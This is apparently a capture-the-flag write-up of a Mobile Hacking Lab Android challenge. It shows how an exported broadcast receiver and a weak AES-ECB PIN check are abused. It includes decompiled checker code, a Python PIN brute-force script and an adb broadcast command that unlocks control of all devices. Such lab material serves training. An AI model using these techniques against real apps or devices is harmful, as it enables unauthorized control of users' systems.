Mobile Hacking Labs - IOT Connect
Jul 26, 2024
Challenge Overview
The IOT Connect challenge explores a broadcast vulnerability that allows an attacker to access the masterswitch and control all available devices.
Recon and Discovery
My methodology for recon is simple. Run the application, see accesible activites then decompile using jadx to understand application activities, permissions, Intents and other components.
Running the application
The application launches com.mobilehackinglab.iotconnect.LoginActivity
which has login and signup buttons –likely to have activities ‘behind’ them.
With this, we could check if the activities (Intents) of the buttons are exported to bypass login/signup.
Reverse Engineering & Code Analysis
All the (important) activities are not exported and that means we have to login/signup to access the home control page.
However, a broadcast receiver, com.mobilehackinglab.iotconnect.MasterReceiver
is exported and this might be our entry point.
<receiver
android:name="com.mobilehackinglab.iotconnect.MasterReceiver"
android:enabled="true"
android:exported="true">
<Intent-filter>
<action android:name="MASTER_ON"/>
</Intent-filter>
</receiver>
Created an account and logged in. The .HomeActivity
is launched.
As a guest, you get limited access to devices you can control, and get a toast message showing which devices you can’t control, while that MasterSwitch activity requires a 3 digit PIN to unlock.
The next step, is to look for the logic behind the .MasterSwitchActivity
and see whether we can get the PIN somewhere in the code. Looking at the code reveals that a broadcast MASTER_ON
is sent to check the PIN.
So this is the same broadcast receiver we found to be exported
. This means that we can invoke it through adb
. Great! But a problem, we need a 3-digit integer PIN to send with the Intent. Let’s look at the receiver and see what happens to the PIN sent to it.
Searched for the master receiver and found it’s implementation. Once the Intent is received, .MasterReceiver
checks to confirm that the Intent name is MASTER_ON
and that a PIN has been sent with it. If true, it calls a check_key(key)
method with the PIN as it’s parameter. Great!
Looking through the checker, we find this:
public final class Checker {
public static final Checker INSTANCE = new Checker();
private static final String algorithm = "AES";
private static final String ds = "OSnaALIWUkpOziVAMycaZQ==";
private Checker() {
}
public final boolean check_key(int key) {
try {
return Intrinsics.areEqual(decrypt(ds, key), "master_on");
} catch (BadPaddingException e) {
return false;
}
}
public final String decrypt(String ds2, int key) {
Intrinsics.checkNotNullParameter(ds2, "ds");
SecretKeySpec secretKey = generateKey(key);
Cipher cipher = Cipher.getInstance(algorithm + "/ECB/PKCS5Padding");
cipher.init(2, secretKey);
if (Build.VERSION.SDK_INT >= 26) {
byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));
Intrinsics.checkNotNull(decryptedBytes);
return new String(decryptedBytes, Charsets.UTF_8);
}
throw new UnsupportedOperationException("VERSION.SDK_INT < O");
}
private final SecretKeySpec generateKey(int staticKey) {
byte[] keyBytes = new byte[16];
byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(staticKeyBytes, "getBytes(...)");
System.arraycopy(staticKeyBytes, 0, keyBytes, 0, Math.min(staticKeyBytes.length, keyBytes.length));
return new SecretKeySpec(keyBytes, algorithm);
}
}
The provided Java code defines a Checker
class that uses AES encryption to validate a key. The class includes a method check_key
that decrypts a Base64-encoded string ds
using a provided integer key and checks if the decrypted string equals “master_on”. The decrypt method generates a secret key by converting the integer key to a UTF-8 byte array, padding it to 16 bytes, and then uses this key to initialize an AES cipher in ECB mode with PKCS5 padding. It then decrypts the encoded string ds and converts the resulting bytes back to a string. If the decryption process and comparison are successful, the method returns true
; otherwise, it returns false
.
Exploitation
Now that we know we have to send an Intent with a 3-digit integer PIN and have the logic to validate the PIN, we can therefore write a script to generate a PIN.
I used the following python script:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# The encrypted string 'ds'
encrypted_ds = "OSnaALIWUkpOziVAMycaZQ=="
# Function to generate the key from the integer key
def generate_key(key):
key_bytes = bytearray(16)
static_key_bytes = str(key).encode('utf-8')
key_bytes[:len(static_key_bytes)] = static_key_bytes
return bytes(key_bytes)
# Function to decrypt the ds value using the provided key
def decrypt(ds, key):
secret_key = generate_key(key)
cipher = AES.new(secret_key, AES.MODE_ECB)
decrypted_bytes = unpad(cipher.decrypt(base64.b64decode(ds)), AES.block_size)
return decrypted_bytes.decode('utf-8')
# Brute force to find the correct key
for key in range(100000): # Adjust the range as needed
try:
if decrypt(encrypted_ds, key) == "master_on":
print(f"The correct key is: {key}")
break
except Exception as e:
pass # Ignore decryption errors and continue
Running the script gives the key likely to match the expected PIN.
Now, we can craft the adb command to send the broadcast MASTER_ON
with the extras.
adb shell am broadcast -a MASTER_ON --ei key 345
And with that, we are successfully able to control the master switch and consequently all devices.
Check out my MHL Series which brings writeups of the Mobile Hacking Lab Android challenges, that are part of the CAPT course. The labs are good for preparation of the CAPT exam.
- - these writeups assume knowledge in basic android hacking methodolgy and familiarity with tools including adb
, jadx(gui)
, Frida
, etc